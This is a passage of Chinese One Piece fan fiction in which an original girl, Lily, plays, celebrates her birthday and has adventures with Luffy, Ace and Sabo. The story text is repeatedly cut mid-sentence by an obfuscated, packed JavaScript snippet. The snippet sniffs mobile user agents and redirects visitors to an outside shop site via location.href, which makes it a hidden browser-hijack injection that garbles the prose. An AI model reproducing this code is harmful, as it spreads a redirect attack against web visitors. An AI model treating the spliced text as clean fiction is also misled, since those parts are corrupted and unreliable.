他继续点头,脸蛋上的红色开始向缺氧的铁青转变。 “你是白痴吗!!!”我连忙爬过去跪坐到他身边帮忙。 啊啊,这是哪个器官,鼻子,耳朵,嘴?这个结的源头又是哪里?好紧,根本扯不开! 我慌得满头大汗,总算在路飞窒息之前解开了他用鼻子打的结。路飞把鼻孔张成两个黑洞,他深深吸了一大口空气,脸色恢复了正常。 “唔唔唔唔……” 路飞的嘴还处在打结状态,我根本听不懂他在说什么,只好安慰地摸了摸他的脑袋,继续帮他解开其他的身体部位。好在路飞用的都是最简单的打结方式,没有了紧迫的时限,我冷静下来逐一把那些纠缠成一团的肉结解开。 路飞笑得眉眼弯弯,完全没有差点死掉的后怕:“哈哈哈,又活过来啦!” “你是活过来了,我都快要被你吓死了。下次不许把鼻子和嘴巴打成结做鬼脸,知道吗?”我又好气又好笑地把他的橡皮脸拉扯成长方形,然后放开手,看着他的脸“啪嗒”一声恢复原状。 路飞傻兮兮地笑了一会儿,突然向我倾过身体,他的双手按在我身侧的地板上,将脑袋凑到我脖颈处小狗似的嗅闻:“你是桃子味的诶,莉莉,闻起来好甜哦。” “?” “我能咬一口吗?” 在路飞说到最后一个字的时候,颈部的肌肤已经能感觉到他嘴唇的热度了。 我连忙伸手推他,难以理解又生气地说:“你咬一口试试看!” 路飞没有抵抗,老老实实地顺着我的力道坐直身体,他的语气里带着不解:“那你别把我推开啊。” 听不懂人话是吧?! 路飞盯着我气鼓鼓的脸蛋眨了两下眼睛,试探性地问:“把你的脸给我咬一口?” “你就非要咬我吗?” “因为想咬嘛,莉莉——”路飞拖长了尾音,向我奶声奶气地撒娇,“我就轻轻地咬一口,真的就一口。上次你也让我咬了,为什么这次不行?干嘛这么小气嘛~” 我疑惑地皱起眉心:“上次?” “嗯嗯,就是你第一次和我讲话那天。”路飞点头。他艰难地运转起自己的大脑,回忆当时的情形,“说起来……那天艾斯也咬了你一口。” “……”是那天啊。这个家伙好像分不清“亲”和“咬”的差别。我给路飞普及常识:“那个不叫‘咬’啦,叫‘亲’。” “亲?”路飞迷茫地重复了一遍我的话。 “你过来,我给你演示一下。” “哦,好。”路飞再次向我倾过身体,把脑袋凑到我面前。 我侧过头靠近,在他脸畔亲了一口。 “这个叫‘亲’,不叫‘咬’,明白了吧?” 路飞的眼睛睁大了一些,纯净的黑眸中央亮起一团光。他转动眼珠朝我看过来,露出恍然大悟的神情:“原来这个是‘亲’啊。” 是不是我说什么他都会相信,真是个又笨又呆的小傻瓜——欺负他的坏心眼蠢蠢欲动。 我舔了舔尖利的犬牙,坏笑着再次靠近路飞,张开牙齿含住他软嘟嘟的脸蛋,不轻不重地咬了一口,在他脸上留下一圈泛白的牙印。 “这个才是‘咬’哦。” 路飞抬手捂住被我咬到的地方,若有所思。 “我明白了,‘咬’要用到牙齿,‘亲’不用。”他煞有其事地说出自己的理解,“我是橡胶人,被莉莉咬一口不会痛,莉莉咬我亲我都可以;如果我咬莉莉的话,莉莉会痛,所以只能亲莉莉,对吧?” emmm,怎么说呢,道理是这么个道理,就是听起来怪怪的,感觉有哪里不太对劲。 路飞趁我发愣的时候凑过来亲了一口我的脸蛋,心满意足地笑起来:“莉莉果然是甜甜的桃子味,嘿嘿。” * 路飞耐着性子陪我看了一会儿童话书。 他看书只喜欢看图片,不怎么爱看文字内容,一页书扫一眼就算看完,然后捻起页角打算翻下一页。我抓住他的手不让他动作,保持着自己的步调慢慢看,读到喜欢的地方还要多读几遍。直到我完整地读完了所有内容,我才会放开他的手让他翻页。 路飞一直催促我读快点,不满意我的阅读速度;我被他催得心烦,嫌弃他影响我的阅读体验。 我们俩相互看了一眼,眼底都是对彼此的怨气。 路飞鼓起脸,哼哼唧唧地往旁边躺下,开始在地板上打滚。 “莉莉,莉莉——看书好无聊,我们玩别的游戏嘛~对了,你会玩捉迷藏吗,还有骑马打仗,小熊抢椅子,偷东西吃,老鹰抓小鸡之类的游戏?我们不看书了好不好~~~” 他好像在儿童游戏中间加入了什么奇怪的东西。我正看得起劲,只想一口气读到结局,对路飞的撒娇视而不见。 路飞从儿童房的左边滚到右边,又从右边滚到左边,他见我不理会他,委屈地撅起嘴巴,“咕噜噜”地滚到我身边。两只橡胶手像是绳子一样在我的右臂上缠绕了好几圈,路飞把脑袋贴在我肩膀上不停磨蹭,拖长了声音、变换着调子叫我的名字:“莉莉——莉莉——莉莉——和我一起玩嘛~~~” 魔音贯耳,我又没办法轻松挣脱他,只好找点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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我在童话书里夹了一张书签,将它放到枕头旁边,顺手把可怜的蛋糕幸存者放到童话书的封面上,然后站起身走向厨师先生,仰头问他:“还来得及再做一个蛋糕吗,厨师先生?我去厨房和你一起做蛋糕吧,正好可以学习一下烘焙的流程。” 厨师先生连忙摆手拒绝:“怎么能让过生日的人自己动手做蛋糕呢。我听多古拉他们说莉莉你昨天伤得不轻,看看你这一身的绷带,你还是呆在房间里好好休息吧。” 被我们一致无视的路飞蔫巴巴地趴在老鼠夹底座上,手脚像是被拉长后无法还原的橡皮筋那样有气无力地耸拉着,他不甘寂寞地插嘴:“我身上也有绷带,我也受伤了。” 厨师先生在围裙上擦干净手上的面粉和糖霜,他摸了摸我的脑袋,放柔声音说:“放心把蛋糕的事交给我处理吧,莉莉,不用担心这种小问题,小孩子只需要吃饱肚子玩得开心就可以了。” 我一愣,随后弯起眼睛,向厨师先生张开双臂。在厨师先生把我抱起来之后,我搂住厨师先生的脖子,响亮地亲了一口他胡子拉碴的侧脸,对他露出甜蜜的笑靥:“厨师先生,我像喜欢蛋糕一样喜欢你!” 厨师先生冒着粉色的小泡泡下了楼,没过一会儿又端了两杯水蜜桃味的果汁上来,说两杯都是给我的,嘱咐我一口都别给路飞这个臭小子喝,然后脚步轻快地回了厨房。 “别听那个臭大叔的话,莉莉,我也要喝果汁,我想喝——”路飞可怜巴巴地叫唤。 你以为厨师先生为什么要准备两杯果汁,明显有一杯是给你的啊笨蛋。我徒手掰开紧紧闭合的巨型老鼠夹,让路飞从里面出来。 路飞出来后偷偷瞄了我一眼,慢吞吞地把手伸向托盘里的果汁,他见我没有阻止他的动作,立刻眉开眼笑地拿起杯子。 一个人带小孩好累。萨博和艾斯什么时候才会回来啊。 32. 生日和宴会 萨博和艾斯推门进来的时候,我正一边看童话书,一边分心操控着果汁变成的蝴蝶满房间到处乱飞。路飞追逐着果汁蝴蝶上蹿下跳,时不时张大嘴巴试图咬住它。 萨博忍俊不禁:“哈哈哈,玩得很开心嘛,路飞。——真是辛苦了。” 果汁蝴蝶在空中停滞了一秒,路飞立刻抓住这个空隙,伸长脖子张大嘴巴,一口将果汁蝴蝶吞咽下肚。他擦了一把嘴角溅到的果汁,快乐地朝门口的两人奔去:“艾斯,萨博,你们回来啦!我一点都不辛苦,照顾莉莉好有趣!” “最后那句话不是对你说的,白痴。”艾斯用嫌弃的眼神瞥了路飞一眼,向我走来。他把一个由淡粉色、白色、紫色波斯菊编织成的花环扣到我的脑袋上。 我摸着脑袋上的花环,疑惑地看向艾斯。 艾斯不自在地偏转开视线,避开我的眼睛。“路上随便做的。”微卷黑发下的耳廓染上一层薄红,他欲盖弥彰地补充:“不喜欢就扔掉。” 萨博正在夸奖路飞出色地完成了照顾我的任务,听了艾斯的话,萨博“噗嗤”一声笑了,毫不客气地戳破艾斯的说辞:“这个家伙‘随便’做了十多遍呢。” 艾斯转过身,恼羞成怒地吼他:“别说多余的话,萨博!” 我把花环取下来看了看,藤蔓草叶整整齐齐地缠绕成一圈,波斯菊错落有致,每一朵花都漂亮又水灵,确实做得很完美。我把花环重新带回脑袋上,弯起眼睛笑:“我很喜欢,谢谢你艾斯。” “哦——那,那就好。”艾斯刻意保持着背对我的姿势,飞快说起不确定物终点站的情况。 布鲁杰姆一伙明显被我们昨天的行为触怒了,发布了对我们四个的“通缉令”。重金和威逼之下,不少拾荒者都倒向了他们那边,帮着布鲁杰姆一伙满垃圾场搜捕我们。 “被弗格森大叔嘲笑得很惨呢,他说早就知道最后会是这个结果,怎么警告我们都没用。”萨博郁闷地摘下帽子,在我身边坐下。 艾斯坐到我们对面,继续调试昨天那根新换的钢管。路飞好奇地蹲在旁边观看,咕哝他也想要一根。 听了萨博的话,我的脸有点发热。明明不确定物终点站的大家嘱咐了我们很多次不要去招惹布鲁杰姆一伙,我和萨博当时信誓旦旦地拍着胸口保证自己不会胡来,结果……?? “艾斯,你真是……”萨博看着艾斯叹了口气。 艾斯扯了一下嘴角,嗤笑:“昨天揍伯尔杰米的时候,你下手比我轻?” “我们说的完全是两码事好不好。”萨博反驳了一句,随后便舒展开眉头,重新露出笑容,“无所谓了,争论这个没什么意义。我们又不是没有惹上过这种大麻烦,这几个月老实待着避风头就是了。” 艾斯也懒得争论这些,他挥舞了几下钢管,兴致勃勃地提议:“萨博,之前你不是说见到一只体型比山主小上一些的大老虎吗?这次我们就把他当成目标,继续之前的狩猎修行吧!” “狩猎修行?”路飞的眼睛发出皮卡皮卡的光芒,他举着双手跳起来,“听上去好有趣,我也要加入!” 艾斯挑眉看向路飞,讥讽道:“你?我才不要和软弱又爱哭的笨蛋一起修行。” “少瞧不起人了,我五岁就能在丛林里一个人生活了!” “哈哈,艾斯,让路飞试试看嘛,他的橡胶能力说不定能在狩猎中发挥独特的用处呢。” 路飞一听萨博夸他,顿时挺直了腰板,骄傲地向艾斯展示自己的能力——虽然看上去都没什么用。 身为“能力没什么用”联盟的一员,我也出声支持路飞:“我们只是年纪小,没有充足的时间锻炼能力。只要坚持不懈地努力修行,我们以后绝对会变得超级——厉害!” “就是就是,我将来一定会成为像香克斯那样伟大的海贼!” “?”诶,话题怎么又扯到海贼上去了? 我们快要吵起来的时候,房门被敲响了,门外传来多古拉的声音:“小鬼们,出来开生日宴会啦!” “哇,生日宴会!”路飞毫不恋战,一把抓过我的手撞门而出。 “喂,路飞!”身后传来萨博和艾斯的惊呼。 我没有防备地被路飞硬生生拽起来,根本来不及调整重心,整个人向前扑倒。路飞这时候正在往楼梯下跑,被我从背后一撞,他也失去了重心。萨博和艾斯晚来一步,没来得及抓住我们,我和路飞像两只不会飞的小鸡崽那样徒劳地挥舞了两下胳膊,接着便滚作一团,轱辘轱辘地摔下了楼梯。 “嘻嘻嘻,完美降落!”垫在我身下的路飞龇着牙大笑。 完美降落个鬼啦,摔断脖子怎么办!……咿,等一下,居然一点都不痛?我晕乎乎地看向身下的路飞,橡胶人还有这种用处吗? 衣领一紧,是达旦把我从路飞身上拎了起来。她左手拎起我,右手拎起路飞,横眉竖目地怒骂:“你们俩赶着投胎啊,怎么不直接从二楼跳下来!一天天不是撞坏东西就是打翻盘子,波奇都比你们这群小兔崽子省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾斯放下碗筷,隔着重重人群怒吼:“不要老是教她莫名其妙的东西!” “哈哈哈,莉莉好像玩得很开心呢,我们也去吧。”萨博一手拉过艾斯,一手扯过路飞,带着他们混进喧闹不止的舞池。 人们放肆开怀的笑声冲破了屋顶,引来月亮俯首人间,好奇地洒落出一片如水的银色月光。 33. 发夹和烟花 玩到九点多的时候,达旦以到小孩睡觉时间的理由把我们四个从大厅赶走,分别扔进了男女浴室。 我咕噜咕噜地滚到洗澡盆旁边,拉起身上的裙子闻了闻,肉味、奶油味和汗味混合成了奇怪的味道。我当下便脱下裙子爬进澡盆,一边快乐地唱着歌,一边往身上搓泡泡。 萨博他们三个在洗澡的时候闹腾得要命,洗澡的速度却比我快多了。我穿上带有兔耳帽子的粉色睡裙回到儿童房,萨博和路飞早就换好了衣服,坐在一起折纸飞机玩;艾斯光着上半身,下半身仍然围着浴巾,正撅着屁股在衣柜里使劲翻找,似乎在寻找什么重要的东西。 看来他发现自己的胖次全部离奇失踪了呢(偷笑)。 我揉了几下脸蛋,揉散脸上恶劣的笑容,免得当场暴露。 纸飞机在我脚边落下。 “莉莉,你洗得好慢,为什么不让我过来帮你?”萨博向我投来幽怨的目光。 “你已经十岁了”、“男孩子和女孩子长大以后不能一起洗澡”、“哥哥也不行”这之类的话我已经说过无数次了,一点用都没有。唯一有用的是女子浴室房门上的锁扣。 “没有为什么,我以后都要自己一个人洗澡。”我捡起纸飞机,对纸飞机尖尖的脑袋哈了一口气,将它扔回给路飞。 路飞嘿嘿笑着伸长手,接住飞到他头顶的纸飞机。 萨博愁眉苦脸地抱住胳膊,扭动着眉毛努力思考:“我最近有惹你生气吗?” 这个弯你永远转不过来是吧?! “莉莉,我们一起折纸飞机玩吧。”路飞拿着刚才那个纸飞机和四五张旧报纸凑过来。 我席地而坐,从路飞手上拿过一张报纸,笑着说:“我会折翼龙形状的纸飞机哦。” “教我教我,我也要折翼龙!”路飞连忙拿出报纸,跟着我的步骤有样学样。 “啊!”萨博脑袋上亮起了一个小灯泡,他用找到答案的振奋音色开口:“难道你以为我忘了你的生日礼物吗?” 对哦,我还没有收到我的生日礼物呢。我放下折到一半的翼龙,抬头看过去。 萨博从我的枕头下面拿出一个漂亮小巧的礼物盒,在我面前坐下。他笑容灿烂地把礼物盒递过来:“本来想等你自己发现呢。——生日快乐,莉莉!” “嘿嘿,谢谢哥哥。”我开心地接过礼物盒,爬过去亲了一口萨博的右脸。“我打开咯。” 盒子里是一对可爱精致的发夹——粉白色的桃花栩栩如生,下方各挂着三个桃子形状的小铃铛。 我拿起发夹轻轻摇了摇,小铃铛们发出清脆悦耳的响声。 “好可爱,我好喜欢!”我惊喜地睁大眼睛,扑到萨博身上搂住他的脖子,又亲了一口他的左脸:“今天也最喜欢哥哥啦!”想到今天在艾斯那里把“喜欢”升了一下级,我马上改口:“今天也最爱哥哥!” 萨博差点被我扑倒,他右手往后撑住地板,左手伸过来搂住我的背,眉开眼笑:“今天也最喜欢……”萨博停顿了一下,从善如流地跟着我改了说辞,“今天也最爱莉莉啦。”低头回亲我的脸颊。 我听见艾斯很用力地关上了衣柜的门,看来他放弃找他的胖次了。反正穿不穿都无所谓,以后你就天天挂空挡出门吧,哈哈哈。 我们三个折了好一会儿报纸,从纸飞机一路折到小猫小狗,艾斯才施施然换好衣服走过来,神色看起来居然很正常。 咿,对男孩子来讲穿不穿胖次真的不重要吗?他在强作镇定?还是他拿了萨博或者路飞的胖次穿? 他到底有没有穿胖次?我感觉有一只海星在我的心脏上乱爬。比起那些无关紧要的身世血脉,我果然更在意这个问题。 我盯着艾斯,脑子里开始模拟查看他有没有穿胖次的N种计划。 走过去假装绊倒,抓住他的裤子往下拽?——不太行,以他的反应速度,他肯定能及时接住我。 等艾斯睡着了钻进他的被窝,偷偷扒他裤头?——也不太行,萨博绝对会在我爬出自己被窝的那一刻把我逮住,然后像在夜晚捕猎的狼蛛那样把我拖进他的被窝。虽然我很乐于和萨博贴贴,但是我讨厌被他抱着睡觉,动弹不得又很热。 故意把果汁撒到艾斯裤子上,偷看他换衣服——这个可操作性还蛮高的,先找件事让他分心,然后……但偷窥什么的还是算了,我的节操不允许我这么干。 艾斯在我的注视下走到窗边。他打开窗户,跳上了窗台。 我疑惑地问:“你今天要睡屋顶吗?” 银月的月光下,艾斯转过头,脸颊上的小雀斑像是夜空中星星的投影。他朝我伸出手,嘴角扬起独属恶童的坏笑:“过来,带你去看你的生日礼物。” “花环不是礼物吗?”我看了一眼被我挂在墙上的波斯菊花环,走过去把手放进他的掌心。 “都说是路上随便做的了,谁会送那种东西当礼物。”艾斯露出“你看不起谁”的眼神,他握紧我的手把我拉上窗台,顺势抱起来。“走了,萨博,路飞。” 你啊,在我心里你就是这种人。毕竟你去年送我的生日礼物是一根“笔直得很完美”的树枝。我在心底默默腹诽。 艾斯抱着我跃下窗台,几个起落后悄无声息地落到地面。他皱眉掂了一下我的重量,不太满意地嘀咕:“今天明明吃了不少东西吧,你怎么还是轻飘飘的?” “能飞的物种都这样啦。”我随口回答。 我们的夜视能力都很好,明亮的月光也大大增加了能见度。在艾斯的带领下,我们毫无波折地跑到了森林外的一处海角。 艾斯让萨博捂住我的眼睛,又警告路飞闭上嘴巴,脚步匆匆地走向另一个地方。 “事先说好,要是这次你又拿出树枝之类的东西,我就三天都不和你讲话!” “放心吧莉莉,艾斯今年给你准备了超棒的生日礼物哦。”萨博很有信心地给艾斯担保。 有什么沉重的东西碾压过草地,被艾斯推了过来。 “啊,是烟……唔!”路飞及时捂住了自己的嘴巴。 我闻见了火柴燃烧的味道,有什么东西被点燃了。 萨博放开捂住我眼睛的手,让我往上看。 随着数声“咻咻咻”的声响,一束又一束亮光从我身后飞上夜空,在幽蓝的天幕中绽放出一大片绚烂的花火。金色、绿色、红色、蓝色……五光十色的花火怒放到极致,化作流光点点洒落。在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222187|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们彻底消融于夜色之前,又一轮花火冲上了天空,再一次把天幕照亮。 原来是烟花,好漂亮…… 我目不转睛地凝视着这片璀璨瑰丽的夜空,逐渐被不断升起的绚烂花火引诱。我发出一串快乐的笑声,向着海角的尽头奔去。 从森林吹向海洋的夜风牵起我的裙摆,拨动我的发丝,呼啸着将我推下海角的最后一寸落脚处。 在萨博、艾斯还有路飞带了点惊吓的呼唤中,雪白的羽翼自我的背后骤然展开,我追逐着烟花的亮光飞上天空,在无数彩色的流光中穿梭翱翔。 我尽情地飞了好几圈,拍打着羽翼降低高度,向地面上三个不会飞的可怜人类男孩招手,大笑着问:“喂——有人要搭乘莉莉号飞行器吗?” “我!我要飞!”路飞满脸兴奋地跳起来。 “你有力气带人飞到天上吗”?艾斯嘴上说着质疑的话,却露出了相当感兴趣的表情,映照着花火的眼睛亮得出奇。 萨博按着小礼帽侧头看了一眼艾斯,轻快地笑出声:“莉莉,艾斯说他要当第一个乘客。” 我笑嘻嘻地比出一个“OK”的手势,俯冲下来抱住艾斯。 “一个一个来,我会努力不把你们摔死的。”不负责任地留下这句话,我振翅直冲云霄,带着艾斯飞入辉煌灿烂的花火之中。 在烟花放完之前,我将他们三个都带到天上飞了一圈。 超累。 这三个家伙横看竖看都是一副单薄瘦削、没有几两肉的样子,结果他们每个人都比我重了好多好多。而且路飞这个小混球真是得寸进尺,在飞行过程中一直试图骑到我背上。 “让我骑一下嘛莉莉,好不好嘛,感觉那样超帅气诶~~~” “真敢说啊,路飞!”我当场翻脸,扯过他的橡胶手狠咬一口,把他从天上扔了下去。 我原本的打算只是吓一吓路飞,准备等他向我求饶喊救命的时候就冲下去捞他。结果路飞咧嘴一笑,伸长橡胶手在我身上缠了好几圈,重点——把我的羽翼也缠住了! “啊啊摔下去了摔下去了!会摔死的,放开我笨蛋!” “不放,你休想把我扔掉!” 纠缠中,一束烟花从我们正下方腾空而起,笔直地击中了我和路飞。 “对不起,嘻嘻。”黑色的烟雾和道歉的话一起从路飞嘴里冒出来。 我顶着一团糟的爆炸头,扇动着飘散出缕缕黑烟的羽翼把同样乌漆嘛黑的路飞放回地面,扑上去就是一通揍。 “说对不起有用的话,要治安官干嘛!” 和路飞滚来滚去闹了半天,我的体力终于消耗殆尽。我气喘吁吁地倒向草地,累得不愿意动弹。这次轮到我说那句话了——“可恶,到底是谁在过生日?” 当天最后的记忆,是萨博温暖的脊背,他被月光照得朦胧发光的金色卷发还有稳稳托着我的双臂;艾斯背着呼呼大睡的路飞走在我们旁边,偶尔转头过来看我一眼,黑色的瞳眸中残留着欢欣的神采,嘴角小小地上扬,是难得一见、很柔和的弧度。 脑袋上萨博的小礼帽渐渐往下滑落,遮住了我的视线。我听着萨博强健有力的心跳声,慢慢沉入了黑甜的梦乡。 34. 对练和边镇 不怎么安分地修养了三天,我们四个的伤势都彻底恢复了,开始继续之前的日常活动——修行、对战、狩猎、偶尔偷偷摸摸溜到边镇吃霸王餐。 萨博把记分牌上3X3的表格擦掉,重新绘制了一个4X4的表格。为了抢第一行第一列的位置,萨博和艾斯还打了一架。 是艾斯赢了。 艾斯用手背抹去脸颊上的尘土,露出神采飞扬的笑容:“我是不会输的!” “下次我一定会赢!”萨博拿起粉笔,不甘心地让字母“A”占据了那个无论横向竖向来讲都是第一的位置。他在第二行写下自己的首字母“S”,看着我和路飞犯起了嘀咕:“莉莉和路飞的首字母都是‘L’呢,你们想怎么区分?” “这还不简单。”我从萨博手上夺过粉笔,在剩下的位置一上一下写出两个“L”。我在第一个“L”的脑袋上画出一个桃心,得意洋洋地用双手作出展示的动作:“当当当,有爱心小脑袋的‘L’代表我,没有装饰的‘L’代表路飞。” “这样就能清楚地区分出我和莉莉的名字了,真不错。”路飞恍然地点头。过了好一会儿,他后知后觉地反应过来,眼睛瞪得溜圆:“啊——我排到最后一个了,莉莉你好狡猾!” “嘿嘿。”我得意叉腰。 当对战对象是萨博和艾斯的时候,胜负毫无悬念,反正怎么努力最后都是25:0。我已经放弃挣扎了,还没被揍服的路飞气鼓鼓地叫嚣着:等他到了十岁就要把萨博和艾斯全都揍飞。他好像完全没意识到他长大一岁,萨博和艾斯也会长大一岁,他是永远不可能在年龄上超过这两个人的。 我和路飞的对战胜负率大概是七三开,我七他三。路飞老是执着地使用他根本没有开发好的橡胶招式和我战斗,认真和他对战会让我觉得自己像个傻瓜,不认真对待的话又可能被他弹来弹去的拳头莫名其妙打中。搞得我认真也不是,不认真也不是,浑身难受。 日子一长,我也开始在对战中加入自己乱七八糟的控水术,然后我和路飞的战斗场面就变成了——我指挥着我的水蝴蝶们花里胡哨地到处乱飞,橡胶人用自己的拳头曲里拐弯地重击自己。 艾斯忍无可忍地走过来,给我和路飞的脑袋各来了一拳。“你们两个给我认真战斗!” “好痛!” “好痛!” 我和路飞捂着脑袋眼泪汪汪。 和凶巴巴的艾斯不同,萨博一向奉行鼓励式教育。他伸手接住一只水当当的小蝴蝶,让它停留在自己指尖,笑眯眯地开口:“别对他们这么严格嘛,艾斯。今天莉莉的小蝴蝶变得更凝实了,路飞出拳的速度也增加了哦。” 艾斯拿起放在树桩旁边的钢管,从鼻子里挤出一声冷哼:“垃圾场的小混混还有布鲁杰姆一伙可不像我们一样会手下留情。萨博你才是,不要老是纵容他们胡来。——走了,去准备晚饭。” 树桩旁剩下的三根钢管有一根是我的,她的名字叫小爱。我没有给她扎蝴蝶结,用不褪色的颜料在绑带的位置画了颗小小的红色爱心。另外两根是萨博和路飞的,上面没有做任何记号,从外表上看和艾斯的那根一模一样、毫无分别。但是很奇怪,他们三个每次都能精准地认出属于自己的那根钢管,从来没有拿错过。 “你们为什么能认出自己的那根钢管?”我在路上问他们。 “哈,你在问什么无聊的问题?”艾斯斜睨了我一眼,理所当然地说,“差别这么大,怎么可能认不出来。” “主要是通过绑带缠绕的位置吧。”萨博指着钢管上的绑带给我解释,“我们每个人握住钢管的位置都不太一样,所以绑带缠绕的位置也各不相同。” 路飞回答:“嘻嘻嘻,我就是知道自己的钢管是哪一根。” “……”所以就我一个人靠记号来分辨自己的钢管吗? 在莫名其妙的地方输掉了,可恶! * 艾斯和萨博从厨师先生那里学会了鞣制皮革的技术,一整个月都沉迷其中,家里积攒了不少他们的作品。达旦要走了鳄鱼皮之外的皮子,说可以用这些皮子给我们做冬天的帽子、围脖、外套和靴子,面积比较大的狼皮和虎皮还可以给我们做被褥,冬天睡起来会很暖和。剩下的皮子就当作她的手工费。 艾斯和萨博喜欢的是鞣制皮革的过程,对于皮子的归属倒是不怎么在意,无所谓地同意了。看着剩下的鳄鱼皮,他俩对视了一眼,产生了相同的念头。 萨博:“拿去边镇卖掉吧。” 艾斯:“正好用来增加海贼储备。” 萨博从衣柜深处翻出他给我买的精致洋装,让我换上。我不太情愿地换好裙子,萨博拿来梳子,熟练地给我扎出两个活泼俏皮的小啾啾,又戴上他送我的桃花发夹。 他退后两步打量我现在的样子,为难地皱起眉毛,小声嘀咕:“是不是可爱得太过分了?感觉会引起很多不必要的注意。”萨博提高音量,偏头看向站在他旁边的艾斯:“你觉得呢,艾斯?” “……”萨博,你对我的妹妹滤镜是不是越来越奇怪了? 艾斯满脸凝重:“是有点过头了。” 喂,你现在完全不装了是吗! 这两个家伙不约而同地抱起胳膊,露出思索的神色。 “汪汪汪!”不远处响起一阵愤怒的狗吠。 我们三个闻声望去,发现是路飞抢了波奇的肉骨头,他一只手往嘴里塞着肉骨头,另一只手使劲压住波奇的脑袋,不让它起身。 “裙子给路飞穿吧,莉莉还是像以前一样和我们一起藏在斗篷里。”艾斯语气平淡地提议。 萨博眼睛一亮,附和道:“对哦,路飞乔装成女孩子以后,边镇的守门士兵多半不会把他和之前的形象联系起来。” “裙子给路飞穿?”我饶有兴味地重复了一遍艾斯的话,嘴角缓缓扬起一抹坏笑。 听到自己名字的路飞歪着脑袋看过来,呆呆地问:“啊咧,你们在叫我吗?” 一个小时后。 头上顶着好几个大包的路飞小姐满脸不高兴地站在边镇大门前,身后跟着他那位身披斗篷、不露真容的邋遢保镖。 所谓先敬罗衣后敬人。 虽然路飞粗野的举止怎么看怎么不像一位小淑女,但他身上精致的衣裙成功迷惑住了守门士兵的眼睛。他们连问都没问,用一种献媚讨好的态度让我们通过了边镇大门。 进入边镇幽暗的小巷,一群小混混吊儿郎当地走过来,堵住了我们的去路,态度很是嚣张地让我们乖乖交出自己的货物。我们当场掀去伪装,把小混混们揍了一顿,顺手抢走了他们身上值钱的东西。 路飞将一块颜色可疑的蓝色奶酪放到鼻子底下闻了闻,嘀咕了一句“臭臭的”,张大嘴巴一口吞下。 “味道怎么样?”萨博和艾斯手上也拿着一块相同的蓝色奶酪,一副跃跃欲试的样子。 这些蓝色的奶酪来自一个胖高个小混混的上供,据他说这是某个岛屿的名产,只是闻起来臭,吃起来却很香。 我后退了几步,满脸嫌弃:“你们别吃奇怪的东西啦。” 路飞忙着咀嚼没空回答,伸手比了个大拇指。 萨博和艾斯不疑有他,立刻把奶酪放进嘴里。他们嚼了两下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我又不负责管钱,平时也很少会用到,记不住也没关系吧。”我抱住萨博的胳膊,仰起脑袋对他撒娇,“再说了,我不是有哥哥你嘛。” 身边响起了一阵咕噜咕噜的声音。 路飞有气无力地捂住肚子,蔫唧唧地说:“我肚子饿了。” 早上他吃了超多肉,还抢了波奇的狗饭。现在不到中午,他居然又饿了。这个家伙真是饭桶中的饭桶啊。 艾斯说要请我们去吃拉面。当然,付钱是不可能付钱的,以我们四个的食量来说,再多的钱都不够花。 行走在洁白干净的街道上,我们所过之处犹如摩西分海,行人们匆忙避让,留出一大片疏离的空白地段。那些或是隐蔽或是明目张胆的目光中尽是嫌弃厌恶,我猜他们一定觉得我们身上带着跳蚤、寄生虫、病毒之类会传染的东西。 都没有人同情一下流浪汉和他的穷酸女儿吗,我刚刚还幻想过有人会往我脚下扔一两枚硬币,或者塞给我一个香甜小面包之类的好事呢。 我在他们的眼中不像一个活生生的人,像是一块行走的垃圾。 艾斯牵着我的手慢慢收紧,他掀起斗篷的一角,让我进去。 我摇了摇头:“没关系。” 一直以来,我都被温暖的爱意包裹着。爱铸成了坚固的铠甲,我才不会被陌生人的负面情绪轻易刺伤。 我晃了一下被艾斯握得有点疼的手,弯起眼睛,露出风光霁月的笑容:“我不害怕。” 所以你也不要害怕。 艾斯微愣,随后放松了自己施加在我手上的力道,低声说:“不要老对我傻笑,你是笨蛋吗?” “你才是笨蛋!”我收回脸上的笑容,甩开了他的手。 35. 霸王餐和结义酒 艾斯把我们带到了一座看起来很高级的酒楼——荣壹楼,这里的店长和外面的那些人没什么区别,他挡在店门口不让我们进去,不太客气地说这里不是我们这种人该来的地方。 萨博在身上摸索了一阵,拿出一块镂刻着雏菊纹章的金色怀表。他轻咳了一声,伪装出成熟的声线:“请给我一间贵宾室。” “那,那个纹章是……贵族大人大驾光临,真是太荣幸了!小的马上就去准备!”店长点头哈腰地把我们迎进来贵宾室。 “你真是拿了个好东西啊,萨博。”白痴艾斯一点都没有察觉出其中的蹊跷。 萨博心虚地笑了两声,解释道:“之前在镇上捡到的。” 真巧呢,萨博,你的皮带扣、衬衫的袖扣也装饰着相同的雏菊纹章。我撇了撇嘴,没有揭穿他。我清楚萨博和艾斯都瞒了我不少事情,我无意探究他们不愿意向我展示的部分,毕竟我也有很多事情瞒着他们。每个人都有保留秘密的权利,我认为这是一道很重要的边界线。 